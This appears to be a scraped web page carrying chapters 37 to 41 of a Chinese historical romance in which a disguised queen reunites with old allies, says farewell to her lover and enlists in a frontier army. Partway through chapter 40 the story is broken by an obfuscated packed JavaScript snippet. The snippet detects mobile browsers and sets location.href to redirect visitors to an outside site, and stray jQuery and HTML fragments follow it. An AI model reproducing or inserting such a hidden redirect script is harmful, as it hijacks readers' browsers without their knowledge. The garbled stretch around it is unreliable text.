孤长祈笑了笑,眼里满是对言煜的欣赏之色,道:“弈行,快换上。” 孤弈行勾了勾唇,但心中不由生起几分嫉妒来。她记得她小的时候自家姑姑都没有对她有过如此神色,这人真是……便宜他了! 罢了罢了,看在他替她解决了麻烦的份上,就放过他了! 虽是这么想着,孤弈行望向言煜的眼神里不自觉地流露出几分骄傲,她嫣然一笑,道:“不愧是你啊言焕卿。” 她的笑容明艳动人,落入言煜眼眸的那一刻竟让他觉得四月的春风,冬日的暖阳……这世间一切的美好在她面前也不过如此。只要她喜欢,他做的一切便都是值得的。 孤弈行并非没有穿过男装,三下五除二的功夫就套上了衣裳,只是这腰带上的卡扣却好像和她开玩笑似的在这个时候卡死了弄不开。 孤弈行又试了两次还是没有成功,于是她下意识地向站得离她最近的言煜求助:“帮我一下。” 言煜方才一时失了神,这时反应过来,替她细致地扣上了卡扣。 他不由自主地打量了孤弈行一番,不得不说她穿上这身亲卫服倒是挺合适的,看上去英气十足。他满意地笑了笑,嘴角忍不住微微上扬。 孤弈行也不知道他在发什么愣,歪着头故意学着平日里飞鸢的模样,憋笑道:“少爷,请吧。” 言煜勾了勾唇,眼眸深处映着面前女子的模样,笑意浓重。 “姑姑,子烨,我们走了。”孤弈行转过身去,缓缓一笑。 “万事小心。”孤长祈深知孤弈行此一去将要遇到的艰难险阻,复仇之路必当九死一生,因而她的眼眸深处似有泪光闪烁。 孤弈行点点头,道:“姑姑不要担心,我们都会好好的。” “表姐,娘亲说你特别厉害,是难得一遇的武学奇才,下次你教我练武好不好?” 孤子烨仰着头,一脸崇拜,那桃花眼里此刻好像有星星似的,闪闪发亮。 这下孤弈行明白了,原来这个小鬼对她的态度三百六十度大转弯是因为崇拜上她了。这么想着,她心情倒是不错,便答应下来:“好啊,那你可要好好听娘 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言煜自是也注意到了这点,一时觉得心里一阵泛堵。他故意咳嗽了一声,道:“言某有些话想对沈将军说,还请沈将军移步。” “大人客气了。” 沈离松微微颔首,但他很快就发现言煜身后那亲卫也跟了上来,几乎和言煜寸步不离。沈离松觉得奇怪,但看言煜不吭声便也没说什么。 三人一同走到一处密林才停下。 “大人有何事需要避人耳目?” “你这个死冰块脸倒还真是一点没变,白瞎了你的这张脸,活该到现在还是个光棍!” 出乎沈离松意料的是,先说话的是那个之前一直盯着自己看的亲卫。此时他斜斜地站着,双手抱胸,笑容张扬肆意。 更奇怪的是,他叫他“死冰块脸”!这个名字是……她起的,也只有她这么叫过他!难道…… 他顿时反应过来,盯着那亲卫,眼睛微微泛红,声音低厚,却泛着几分沙哑:“莫非你是……” “还好!还没有傻到无可救药!” 那亲卫肆意一笑,随即缓缓取下了那张人皮面具,那双极为熟悉的,风流尽显的桃花眼顿时映入沈离松的眼帘。 因为太过激动,沈离松的身体忍不住微微颤抖,下一刻他便单膝跪地,行了那刻在骨子里的君臣之礼,声音铿锵有力:“臣沈离松参见王上!王上千岁千岁千千岁!” 孤弈行的眼尾也被染红了,然而她克制着自己的情绪,装作洒脱的模样,笑着扶起沈离松:“在世人眼中,祁国女王早已不在人世,下次也不必对我行如此大礼。” 沈离松眼神坚定,回想起当年之事脖颈处青筋暴起,几乎难以抑制心中的怒气。 “不论其他人怎么想,臣与王上出生入死了那么多年,王上永远是臣心中唯一的主上。若非当年言大人告知臣王上或许尚在人世,沈离松绝不会为了这个西北边护使之职留在朝中受那当年恩将仇报,勾结外贼的小人的气!” 孤弈行一边把玩着手中的人皮面具,一边拍了拍他宽阔的肩膀,笑着揶揄他:“你这家伙,从前总能直得气死我,这么说倒弄得我有些感动。罢了罢了!便随你去吧!” 38. 重逢 “王上这些年去了何处?怎会杳无音信?”沈离松微微皱眉,言语之间皆是关切之色。 孤弈行勾了勾唇,笑容之中流露出几分释然与洒脱:“此事说来话长,等有机会再细说。” 沈离松见状便也只是点了点头,不再多问。 孤弈行正回想着自己这五年间的经历,微微有些出神,却被熟悉的声音拉回了现实。不知为何,她总觉得这人说话的语气竟与平时有几分不同。 “沈将军,弈行的身份特殊,还望保密。”言煜在一旁沉默不语了许久,此刻却开了口。 但就是这句话让沈离松一时间愣在原地,摸不着头脑。 弈行!言煜竟唤自家王上弈行!他没听错吧!从前在祁国敢这么唤自家王上的,便只有先王和长公主殿下,他竟唤得如此亲密,莫非…… 沈离松的性子是直了些,但他毕竟将至而立,也不至于丝毫不开窍。想到此处,他忍不住重新打量了面前两人一番,好像在看什么稀奇事似的。 这下换作孤弈行被打量得不自在了!她倒也不恼,只是就这么看着沈离松若有所思的表情,一时间觉得气氛有那么几分……微妙。 她又仔细回忆了一番刚才言煜说的那番话,顿时发现了一点猫腻。她侧过身去,望见他那一脸正经的模样,心里忍不住憋笑:这家伙原来是在宣誓主权!啧啧啧!心眼挺小的嘛! 孤弈行是以故意岔开话题:“时候差不多了,再待下去外面的人怕是要起疑了。” “走吧。”言煜望了她一眼,言语温和如常。 然而因为他方才的一番行为,在孤弈行眼中,无论他现在说什么话,做什么事,都是一副醋意大发的模样,可是好玩得紧。 出乎孤弈行预料的是,似是他方才的宣誓主权起了作用,这下沈离松主动走到了最前面,留下他们二人并肩而行。 一反常态的是,二人都没有说话,这四周静得连林子里的鸟叫声也能听得一清二楚。 孤弈行原本是想逗逗他的,但反过来一想又觉得看惯了他平日里的模样,如今这般倒怪好笑的,便也起了坏心眼,想看看这人究竟能忍到什么时候! 再者,她实在冤得紧!她和沈离松根本就是清清白白,什么也没做嘛! 仔细想想,她也不过就是调侃了一番,拍了拍他的肩膀而已,从前在军中她与一帮大男人同吃同住不也是这么做的?这也没什么稀奇的吧…… “你……”言煜侧过身去看她,却恰巧对上她的眼眸,眼神有些躲闪,“罢了。” 孤弈行顿时眼睛一亮,根本不给他躲闪的机会。她勾了勾唇,笑容张扬肆意:“你是不是……吃醋了?” “没有。” 回答得倒挺快,只是眼睛根本不敢看她。 “胡说!我看就是。”孤弈行抿了抿唇,眼尾微微上扬。 之后,一行人入了武延城。孤弈行发现,如今的武延城倒比当年热闹了不少,只是每日都有不少流民涌入。官兵们给这些流民安置了住处,但是由于流民数量实在太过巨大,还是有一部分免不了流落街头。 孤弈行不用问便知,这些流民大多是从嘉南关和玉临关逃难而来。 想到此处,孤弈行的心情有些压抑。她微微侧目,眼眸深处似有暗流涌动:“我想明日便动身前往幽州。” 言煜似是对孤弈行有这般心思毫不惊讶。幽州地处嘉南关和玉临关以南,北据燕山天险。然而自嘉南关和玉临关被匈奴占据之后,幽州便成了匈奴虎视眈眈之地。 如今世人大多担心匈奴大军会首攻边境三关之一的武延城,而在孤弈行和言煜看来却不然。 如今武延城内兵强马壮,粮草兵器极为充足,加之城墙坚硬,外有青川峡谷,可谓是易守难攻,若匈奴强攻,势必讨不着好处! 而幽州就不同了,纵然背靠燕山天险,但腹地多平原少茂林,整体看似坚固却是较易突破。 不仅如此,喻威自大,以为有了燕山匈奴便不敢前来,下拨的粮草辎重大部分都到不了幽州守军手里。长此以往,幽州军队的力量更加薄弱,幽州一战爆发只会是时间问题。 言煜深知此刻局势,是以也不阻拦,凤眼深处却似有微光浮动。他薄唇轻抿,声如温玉:“明日我送你一程。” 孤弈行知拗不过他,笑道:“好。” “不过在这之前,有一个人,你一定想见。”言煜侧过身去,对上她的眼眸,浅笑道。 “这倒是有意思!”孤弈行望着那双矜贵的凤眼,双手抱胸,若有所思。 为了避人耳目,言煜一行人没有选择暂住沈府,而是入住了一处驿站。 到了房间之后,言煜屏退左右,房间里便只剩下言煜和孤弈行二人。 没过多久,门外便传来了一阵有节奏的敲门声。敲门声三长两短,似是密语,孤弈行便猜到此人不同寻常,应当就是言煜说的那个人。 “请进。” 来者一身青绿长裙,身材窈窕,却并不给人以弱柳扶风的感觉。 她头戴白色斗笠,白纱帽檐覆着她的面庞,使得孤弈行看不分明她的容貌,然而内心却依旧不由地被烫了一下。 房门被带上,那女子向言煜微微颔首,随即径直走到孤弈行身旁,拿下了斗笠。 映入孤弈行眼帘的是一张极为熟悉的面庞,面前这人正是琴潇。她的目光落在孤弈行身上,柳叶眉微微蹙起,眼眶顿时润湿。 “王上您还活着……真的太好了……” 琴潇的肩膀因为过于激动的心情而剧烈颤抖着,眼眸深处的泪光难以抑制。热泪滚烫,却是烫到了孤弈行的心里。 孤弈行从没见过她这副模样,一时间有些不知所措。她正欲伸出手擦过她眼下的泪痕,却见她径直跪了下去,声音极为干脆:“臣琴潇参见王上!” 孤弈行的眼眶也有些红了,她侧过身去,极力抑制住自己的情绪,却在触碰到琴潇的肩膀时还是难掩动容:“不必多礼,快起来。这些年,你过得可好?” 琴潇拭干了眼 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“进。” 孤弈行推开房门,一眼便望见那熟悉的身影。她似是想捉弄他,每一步都走的小心翼翼,几乎没有发出丝毫声响,以至于言煜并无察觉。 “飞鸢,外面……” 言煜正在翻阅古籍,抬眸便直直地对上那双风流尽显的桃花眼,微微愣神。 “听说这武延城徬晚的景色很美,不知焕卿是否有空陪我一览?”孤弈行见自己捉弄得逞,心中暗爽,她微微勾唇,眼底尽是风流恣意。 问是这么问,但是孤弈行却根本没等言煜开口,下一秒就把人拉走了。 大约酉时,二人走上了武延城内的一处小山丘。此时,夕阳余晖落入山川田野,薄云仿佛被炙热的火焰燃烧了一般,格外绚烂。 孤弈行半靠半躺地坐在缀着几朵野花的草地上,姿态慵懒:“这武延城的落日余晖果然名不虚传。” 反倒是一旁的言煜嘴角不见笑意,深色的眼眸映着身旁女子的笑颜,神色不明。 孤弈行意识到他的反常,侧过身去正好撞上他的目光。她分明感觉到,他的目光滚烫炙热,其中却夹杂着淡淡的忧伤。想到此处,她的心中忍不住一阵泛酸。 孤弈行终于忍不住先发制人,她顺势躺了下去,伸手抱住了他的腰,慵懒地靠在他的胸前。她侧过脸去,以便自己能更清晰地听到他的心跳。 孤弈行的嘴角微微上扬,笑颜勾人:“让我来听听你在想什么。” 言煜似是没有料到孤弈行如此举动,一时间胸口泛起几分灼热,但他还是下意识地抚上她的肩膀,薄唇轻抿。 他微微低下头去,眼眸之中只有她一人。 “我听懂了!”孤弈行抬眸,望着那双素来矜贵庄重的凤眼,却见他眸色微动。她嘴角含笑,一字一句落入言煜耳中都荡漾起阵阵涟漪。 “你在为我担心,对不对?” 39. 相别 “你在为我担心,对不对?” 言煜不予置否。这一刻,他眼眸深处的光亮皆是由她而起。 孤弈行勾了勾唇,眺望远方,目光所及之处是她翘首以盼的万里长宁。 金黄色的余晖散落在她的眉间,缀在她薄如蝉翼的睫毛上,衬得她明艳得几乎不似凡人。 言煜静静地望着她,仿佛这天地间的一切在她面前都只是一张平平无奇的画布,只为衬托她的颜色。 “我孤弈行从不畏死,如今想来我最怕的是对不起自己的良心,让百姓因为我当年一时之失生活在水深火热之中,故土却非故国。” 言煜永远记得她说这话时桃花眼深处并无惊波,却仿佛熠熠生辉,这样的她是他从未见过的模样。他握住她的手腕,轻轻抚摩,似在安慰她。 他深知,如今的世道,必须有人站出来,改变它。 然而,她下一刻却转过身来,桃花眼直直对上他的眼眸。言煜感觉到,她的一字一句仿佛都能照亮他的整个世界。 “只不过如今,我心中又多了几分惦念。”孤弈行双手勾住言煜的脖颈,嘴角微微上扬,眉眼之间似有微波荡漾,声音轻柔,却自带几分沙哑。 “我也怕辜负你,怕你伤心。” 话音萦绕在耳畔,久久不散。 言煜清晰地感受到她指尖的温度,一直烫到了他的心里。他很想,让这一刻久一点,再久一点…… “傻了?”孤弈行见他一时愣神,轻轻拍了一下他的胸口,忍不住嘲笑他。 “我定不会让你出事。” 孤弈行发觉他说这话时的语气极重,与以往说话时都有些不同。他眼眸深处隐有光亮,似山间萤火,又似满天星辰,让她一时移不开眼。 然而孤弈行却想到这些日子以来,他的话竟似有些少了,不知是因为吃醋了还是怎的,好歹也是个尚书大人,如今倒越发像个小闷骚了!什么心思都往肚子里藏! 想到此处,孤弈行忍不住眉心微挑。 她顺势倒在他的怀里,一脸的恃宠而骄,记忆中嗲声嗲气的语调此刻又重出江湖:“你多说说话,我想听。” 孤弈行刻意加重了每个字的咬字,使得撒娇之余更添几分江南女子的酥软。 言煜感觉久违的记忆逐渐浮现在他的面前,她当时也是一如现在这般柔若无骨地靠在他的胸前,用这样的语气向他撒娇。 当时他们只是为了找出墨玉案的真相逢场作戏,他便生了几分假戏真做的念想。更不必说如今,他更觉得面前的人勾得他有些愣神,全无招架之力。 “好……” 他顺着她的语气缓缓开口,他的声音低沉,夹杂着些许尾音。 “傻子……”孤弈行简直哭笑不得,下一秒情不自禁地覆上他微凉的唇。她缓缓闭上了眼睛,唇瓣在他的唇上徐徐游走,感受着他的温度。 而他微微俯身,顺从地闭上了眼,轻轻地回应着她的吻,仿佛在诉说这世间最温柔的情话。 唇舌摩挲,是极尽的炙热。 此时余晖逐渐散去,一轮弯月挂上树梢,晚风夹杂着几分凉意缓缓而来。 唇分之时,孤弈行分明望见那双柔情似水的凤眼深处波澜未平,不禁一时触动。 她竟不知从何时起,他便一直这样坚定不移地站在她的身后。他的心意与她的身份,地位,权势皆不甚相关,他心悦的不是从前的祁王,不是凤朝的圣上,只是孤弈行而已。 想到此处,孤弈行的眼眶微微有些红了,她刻意按捺着自己的情绪,以免落入他的眼中又会惹他担心。是以,她强颜欢笑。 “此处可以望见城门,明日你就站在此处送我,便能看见我,可好?” 言煜自然知晓她这么做是为了不让京中那位对自己起疑,他揽着她的腰,将她抱紧,薄唇轻抿:“好。” 孤弈行几乎被他抱得喘不过气来,过了良久,听到他说了一句,只是这句话在她听来怎么有点酸溜溜呢? “幽州虽有女子当兵的惯例,但军中依旧多是男子,你要照顾好自己。” 话音未落,孤弈行已经能够揣测他那有几分委屈的小心思。孤弈行听见他这么说,顿时没了方才的伤感,只是有些想笑。 “你放心!我孤弈行哪儿能让那帮新兵蛋子欺负!要说欺负,也是他们被我欺负才对!” 孤弈行憋得很是辛苦,然而下一秒就立马破功,笑意张扬。 微风拂过,拨乱了言煜的长发,堪堪遮住了他的眉眼,虽是更显俊美,却终究是显得有些凌乱。孤弈行伸出手,替他将那缕被拨乱的发丝整理到耳后。 “倒是你,我先前问过飞鸢,你的寒疾经过这些年愈发严重了。我不在的时候,也要多爱惜自己的身体,不然等我回来有你好看的!” 言煜望着她,声如温玉:“好。” 次日清晨,孤弈行与琴潇换了一身便服,策马自武延城而出。 待到出城门之时,琴潇分明感觉到孤弈行骑马的速度慢了下来,故而问道:“小姐,怎么了?” 孤弈行微微侧身,远远瞥见那处山丘上的人影。她微微勾唇,随即回过身去,漫不经意地挥了挥手,策马扬鞭:“没什么,走吧。” 不远处的小山丘上,言煜未让飞鸢跟随,只孤身一人站在山头,目送着她逐渐远去,最终消失在他的视线之中。 孤弈行与琴潇几乎日夜兼程,终于在第三日申时到达幽州。到达之后二人并未休息,孤弈行直接带着琴潇前往了征兵处。 负责征兵的是一个满脸胡渣的糙汉子。他望见孤弈行和琴潇二人向自己走来似是有些惊讶,待到回过神来便喊道:“名字!” “洛川。”孤弈行先前在祁国之时也曾亲眼见过征兵的场景,是以回答得不慌不忙。 “家住何处,家里是做什么的,还有什么人?”那糙汉子中气十足地问道。 “回大哥的话,我家就在城里汇口第六巷,家里从前是做布料生意的,自从父亲母亲去世之后,家里就只有我一个人了。” 那汉子打量了孤弈行一眼,随即瞥了她身后的琴潇一眼。 还没等他开口,孤弈行便解释道:“这位妹妹名叫林宵,是一介孤儿,前几日与我相识的。她说她也要来参军,便与我一道来了。” 那汉子没了声,只是塞给孤弈行和琴潇两块制作简陋的木头牌子:“走吧!”< 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“你们先去报道,这里不用你们管!”那糙汉对她们说道,孤弈行分明看见,他走上前去搀扶着老人,眼眶微红。 “是。” 孤弈行见他的模样便知他会好好安抚老人,加之她深知此时不是伤感的时候,唯有有所行动,才能改变现状。于是她毅然决然地转身,和琴潇一起向军营走去。 一路上,孤弈行看到不少士卒正在练兵,其中亦有不少女子。与其他地方军队不同的是,幽州守军中并没有因女子参军而特设女兵营,而是采用男女混合的方式形成军队。 孤弈行想到此处,忍不住勾了勾唇:还好那狐狸没有亲眼所见,不然可又是一出好戏! “小小小……姐姐……你们……要去去去……哪里?” 一个说话结结巴巴的少年见孤弈行和琴潇在这里转了一圈,似是没有方向,忍不住问道。 孤弈行方才正想着这么找下去也不是办法,打算找人问问,此刻见了小结巴觉得实在是踏破铁鞋无觅处,得来全不费工夫。 她低头看了看手中的木头牌子,直视着他的眼睛,笑了笑:“第三营第九伍,你知道怎么走吗?” 那结巴少年的脸庞倏然有些红了,他点头如小鸡啄米,难掩激动的神色:“知知知……知道!我我……带你们……去!” 孤弈行看他不想是会说谎的样子,果然跟着他走了一会便到了第三营第九伍的营帐。 “小结巴,我到了,你也快回去吧,今日多谢你了。”孤弈行见已经到了营帐外,也不愿再耽误他的时间,笑着道。 “不不不不是……我也也……”那结巴少年一时急得说不出话来。 他的话还没说完,孤弈行便知晓了他的意思。 她仔细打量了一下面前的少年,只见他看上去不过十五六岁的模样,面色略微有些发黄,但五官端正,看上去也算得上清秀。再加上脸蛋因为还未褪去的婴儿肥有些可爱,倒是个有趣的人儿! “你是想说你也是第三营第九伍的新兵,对吗?”孤弈行见他急得快要哭了,忍不住摸了摸他的脑袋,嘴角微微上扬。 40. 比试 “你是想说你也是第三营第九伍的新兵,对吗?” 少年猛然点头。 “我叫洛川,你呢?”孤弈行眼尾微微上扬,笑容舒朗。 “小……默。”小默说着望了面前女子一眼,随即害羞地低下了头,眼眸似有微光闪烁。 看着小默的模样,孤弈行竟不知为何想到了一个人。她当时在感情上太过迟钝,没有看懂他的心意,辜负了他,可他却在生死关头拼死相护,如今下落不明。 想到此处,孤弈行眸色渐深。 待到孤弈行回过神来,她撩起营帐的布帘,向里走去。这时营帐里的床铺上几乎已经坐满了人,只剩下两张空位,还一个位东,一个位西,简直隔着天南海北。 孤弈行和琴潇一走进营帐,所有人的目光都往她们二人身上瞟,看得孤弈行有些不自在。 琴潇凑到孤弈行耳畔,小声道:“小姐,怎么办?” 孤弈行拍了拍她的肩膀,勾了勾唇:“没事。” 一旁的小默倒是看懂了琴潇的心意,立马走到自己的床铺,二话不说就要搬东西:“我我我……的床离……东边近……睡睡睡……我的。” 结果不出孤弈行所料,一个光头汉子直接把小默的东西扔到了地上,随即朝地上吐了一口口水。 “不想睡就都别睡!” 那光头汉子很快向孤弈行走来,孤弈行仔细打量了一番面前的人,想来这人应当就是这里的伍长。 只见他身量不大,体格乍一看还算健硕,但膀子上的肌肉和她从前的那几个老部下孟启,沈离松比起来还真是差远了!再加上肚子上的那一层肥膘,一看就是有点力气但不多的主儿! “老子就不明白了!你们这些娘们儿……手不能提肩不能扛的!来当什么兵!” 孤弈行见他说话下意识侧身躲避,总算避免了被那一口泛着臭气的唾沫星子糊一脸! “那你敢不敢和女人打一架?” 孤弈行瞥了他一眼,勾了勾唇,一脸的不屑。 光头似是没想到她会有如此反应,一时间微微怔住。待到他回过神来之时,他眼睁睁地看着她的目光自他的头顶扫过,眼神凌厉,其中似有万千气韵,他竟不由得有些后背发凉。 然而在众目睽睽之下,他若不应这女人的邀,便是自己打自己的脸,以后还哪有颜面在军中立足! 他深吸了一口气,勉强恢复了神色:“笑话!我不敢?只是到时候你被伤到了不要哭就好!” 话应未落,除了小默,琴潇和孤弈行,营帐里的其他兵一阵哄笑。 “好!”孤弈行眉心微挑,抿了抿唇,笑容肆意张扬,然而言语之间压迫感尽显,“只是你说反了!” 孤弈行说着就要往营帐外走去,却是被一旁的小默挡住了。 孤弈行猜那小家伙觉得自己马上要被揍得遍体鳞伤,急得小脸通红,声音也带着点哽咽:“洛洛……姐姐……不要要要……去!” “小家伙,军营可不是个讲道理的地方。” 孤弈行挑了挑眉,一脸的云淡风轻:“只有足够强大,才能不被欺负,你也一样,知道吗?” 下一刻,孤弈行和那光头汉子便走到了营帐外的空地上。营帐外顿时围了二十几个人,似乎都期待着这马上开场的一出好戏。 “鲍哥加油!” 这下孤弈行总算知道了那光头姓鲍。她勾了勾唇,提高了音量喊道:“鲍哥,您要不要先活动活动筋骨?” 话音未落,那受到了挑衅的鲍哥就怒气冲冲地举着偌大的拳头向孤弈行冲了过来。 孤弈行淡定自若,在他距离自己不过四五寸之时骤然压低身边,单手撑地,稳稳地支撑住全身的重量,双腿正中其腹部。 一时间黄沙漫天,使得众人几乎睁不开眼睛,那鲍哥轰然倒地。孤弈行的力道用得不小,导致那方才还在她面前飞扬跋扈的人儿此刻已是捂着肚子直不起身了。 比试刚刚开始便已结束,不要说是围观的人,就连鲍哥自己都傻了。 他此刻清晰地认识到,这人的身手绝非自己可比,若是强要与之相比,自己不过是地上的一颗纤尘。 要是自己与她在沙场上相遇,她是自己的敌人的话,她想要杀死自己恐怕就和捏死一只蚂蚁一样简单。 孤弈行斜站着望了一眼那人苍白的脸色,随即冷哼了一声,双手抱胸,环顾四周。 “还有谁要上来试试吗?” 方才还在看热闹的人此刻都面面相觑,不敢踏出一步。众人心中都很清楚,那老兵鲍哥可都是被这女人一招制服的,若是换作新兵,那更是与送死无疑! 孤弈行正觉没意思,就见一人站了出来。 孤弈行见那人身形颀长,白白净净的,长得一张世间女子喜欢的脸,乍一看手无缚鸡之力的模样。然而不知为何,孤弈行竟觉得此人,一些熟悉。 “在下,请姑娘指教一二。” 不出孤弈行预料,面前这个人果然是个文化人,说话也文绉绉的。孤弈行心想,面前这人估计以前也是个富家子弟,多半是家道中落,才来当兵的。 孤弈行挥了挥手,笑道:“指教谈不上,我叫洛川,你叫什么名字?” “出门在外,名字什么的不甚重要。” “也是!”孤弈行想了想,觉得他说得有几分道理,自己如今的名字不就是假的吗!只不过由此,她却是觉得这人有些有趣。 正当孤弈行以为那小白脸接下来就要发动攻势之时,他却是定了一定,随即向孤弈行抱拳微微鞠躬。 不要说是其他人了,就连孤弈行都被这一套操作惊到了! 不过孤弈行此举却是暗合了她之前的猜想,如今看来这人多半不是普通的富家子弟,更可能是世家名门中的贵族!这礼节,这气度,虽然孤弈行不太看重这些,但也不得不佩服! 孤弈行强迫自己回过神来,笑道:“来吧。” 虽然是这么说,但她现在只希望这小白脸不是个一碰就倒的半吊子,不然落到她这个手上不知轻重的人手里很难不被揍得哭爹喊娘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828752|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 令孤弈行感觉有些惊喜的是,那小白脸不是个鲁莽的人儿,虽然看上去一吹就倒,但是下盘极稳,孤弈行一眼就能看出来此人是练过一些外家功夫的。 他的眼神看上去十分冷静,待到近了孤弈行的身后,身体左旋,右脚贴地,右拳向孤弈行的腰部横扫而去。 孤弈行将他的一举一动看在眼里,她勾了勾唇,猛然侧过身去,让他的拳头吃了空,随即以极快的速度右手撑地,下一秒身体凌空,双腿向那小白脸的胸膛飞踢而去。 只见那小白脸似有些招架不住,被孤弈行踢得一连后退了三四米,脚底也因为与地面沙石的剧烈摩擦而隐隐作痛。 “小白脸,还来吗?” 孤弈行看他被折磨得不轻,脸色暗沉了许多,便好心问了一句。毕竟以后要是传出去说她孤弈行欺负人,可是坏了她的名声! “来!” 孤弈行见那小白脸咬了咬牙,看上去很是坚持不懈。 “有志气!我欣赏你!” 孤弈行倒真不是因为这人长得不错而说这话,而是她在武学上作为一个过来人深知一个人要练就一身好功夫免不了要被揍趴个十几二十次,甚至上百次! 大多数人被揍趴了也就怕了,这样的人大多没有长进。而只有极少数人在被揍趴之后还会咬着牙站起来,在不断汲取教训的过程中飞快成长,最终可能会成为人们口中的武学奇才。 而她自己,也是这么过来的。因此她看着这小白脸,也就好像看着当年的自己一般。 那小白脸闻言似是又有了力气,身体灵活移动,连续出拳,然而孤弈行仔细留意过他出拳前的习惯性动作,每一次都能扳过他的手臂,很快就使得他由主动进攻变成被迫防守。 “底子不错,不过光有志气还不够……”孤弈行眉心微挑,眼尾微微上扬,眼眸深处的情绪令人琢磨不透。 还没等那小白脸反应过来,孤弈行就侧身绕到他的身后,快准狠地在他的小腿上踢了一脚,他双腿一软,便跪了下去,还欲挣扎,双手却被孤弈行擒住,整个人动弹不得。 “好!好!” 孤弈行听见背后传来熟悉的欢呼声,她不用回头看就知道是琴潇和小默在为她撑场面呢! 但欢呼声却没有像孤弈行料想的那样戛然而止,反而越来越大。 几乎所有人,甚至是那些不久前还不服她,想要刁难她的人次此刻都用一种夹杂着些许艳羡和佩服的眼神看着她。 孤弈行勾了勾唇,笑容释然。 她知道,军营就是这么一个恃强凌弱的地方,也只有强者才能在战场上生存下来。纵然这些人欺负人的模样怪欠揍的,但在这个时候,能来幽州当兵的,大多都少不了一腔热血。 “洛姑娘,受教了。” 这话却是把孤弈行拉回了现实,她低头才发现自己此时还死死地扣着小白脸,匆忙松了手,唇边挤出一丝笑意。 当小白脸走了之后,孤弈行转身向营帐走去,却隐隐觉得身后有人在盯着自己。 41. 吃醋 孤弈行刻意放缓了脚步,便觉得这种感觉愈发明显。 “小姐,怎么了?”一旁的琴潇见孤弈行的神色有几分异样,小声问道。 “没什么,你们先回营,我去去就来。”孤弈行勾了勾唇,笑容张扬肆意。她拍了拍琴潇的肩膀,一脸若无其事的模样。 琴潇见孤弈行如此说,便也没再多问,和小默先行回了营帐。 孤弈行随意张望了一番,随即便往营帐旁的一处小径走去。没过多久,果真有人跟了过来。 孤弈行直接一招锁喉,但令孤弈行意外的是,那人似也并不反抗,便觉事情有些猫腻。 “姑娘……姑娘饶命……”孤弈行本以为是敌人,下手有些重,导致那人几乎喘不过气来。 孤弈行把握了手上的力道,让他能顺畅说话,但想要随意蹦跶还是不可能的。 她仔细打量了一下面前的男人,面容嘛……算得上普通端正,要说唯一特殊的地方,那便是他的耳朵长得和普通人有些不一样,大一些,也尖一些。 “跟踪我做什么?” 孤弈行剑眉凌厉,此时桃花眼深处的压迫意味尽显。 那人几乎被她的气势压得喘不过气来,舌头好似打结,说话有些磕磕绊绊。 “没没……没有,我只是……只是刚好路过此地。” 孤弈行眉心微挑,怒极反笑:“现在还不说实话?到时候误伤了人可别怪我!” 那人眉头紧蹙,似乎很是纠结,但是最终还是放弃了挣扎:“小的叫陆耳,是无影阁的人……是……” 孤弈行勾了勾唇,事情果然如她所料。 “是你们阁主派你来的,这我刚刚猜到了,他让你来干什么?” 孤弈行见他也被自己折腾得够呛,随即松了手,双手抱胸,神情慵懒地看着他。 “阁主说为了保护姑娘的安全,让我观察姑娘每日遇到的事情,并务必细细记录下来,每两日便通过飞鹰往京中传信一次。” “那你们阁主不让我知道是怕我动手脚,对吧?” 孤弈行明知故问,她早就猜到了那狐狸的小心思,只怕他远在京中,是朝思暮想,早就待不住了。 陆耳点了点头。 “那你给我看看你今日都写了些什么?”孤弈行灵机一动,嘴角忍不住微微上扬。 “还……还没写。” 孤弈行万万没想到等来的是这个答复,简直按捺不住心中的疑惑:“你……说什么?那你怎么记得住?” “小的从小记忆就好,晚上写下来就行,能记住的。”陆耳一本正经说道。 孤弈行想来也是,如果没点真本事,言煜也不会派他来她身边。她似是想起了他那看上去有些奇特的耳朵,便问了一句:“说来你的耳朵为什么和其他人不太一样?” “是不太一样。”陆耳摸了摸自己的耳朵,看上去有些憨厚,但眼神却极为笃定,“但是我的听觉向来很好,能听清很多其他人不能听到的声音。若是远处有马蹄声,我也能听到。” 孤弈行满意地点点头,想着这陆耳在这方面倒是难得一遇的人才,怪不得能得到言煜的赏识。只可惜,她现在的心思不在这儿,她此刻只对他写的东西感兴趣。 “那你不如现在就写,我保证不插手。” 孤弈行难得憋住笑意,一脸严肃,语气听上去很是真诚。 那陆耳似也被她打动了,从衣袖中抽出一张信纸,一只毛笔和一小盒墨汁,席地而坐写了起来。 孤弈行也坐下静静地看着,发现这人记忆确实是好,一直从她进入军营开始记起,一切事情皆是事无巨细。 起初孤弈行还因为欣赏着自己颇具气势的模样而看得津津有味。但没过多久,孤弈行就发现事情有些不对了。 他把她叫那人小白脸的全过程记录了下来,里面包括那句“小白脸,还来吗”,还有那句“有志气,我欣赏你”。 但这还不是重点! 重点是这小子把她刻画得好像为色所迷的人! 什么什么“洛姑娘勾了勾唇,望向对方的眼神里似有光亮闪烁”!还有什么“目光灼热”! 不是!目光灼热你个大头鬼啊!我那分明是武学前辈对后辈的指导好吗!怎么到这家伙手里就……就就!这是在写话本子,还是在记录啊!啊? 孤弈行看着简直气不打一处来,但她努力抑制住自己的怒气,让自己看上去不那么生气。但她最终还是没忍住一把夺过了他手中的笔:“等等等等……别写了!” 偏生那陆耳还一脸懵地看着他,一副无辜的模样。 好家伙!真是好家伙!孤弈行真是差点没忍住再给他一次舒服的锁喉,她眉头微微蹙起,唇角似笑未笑。 “你……就这么写我洛川?” 陆耳呆呆地望着他,随即似是想到什么,笑着说道:“姑娘一定是嫌我写得不够生动,那我再努努力!” 孤弈行差点没一口血喷出来!孤弈行发现她当年在青川是大难不死,但是她的灵魂现在差点要死在这呆子笔下了! 要是这还不够生动,不够努力,那他要是真努力生动起来写出来的东西落到那小闷骚手中不得以为她孤弈行喜新厌旧,在外面沾花惹草?! 但是当孤弈行逼迫自己冷静下来,细细一想,她倒是没那么生气了,甚至还有些小小的……兴奋。 她薄唇轻抿,唇边泛起一丝坏笑:“没事没事!我觉得你写得很好,继续写吧!” 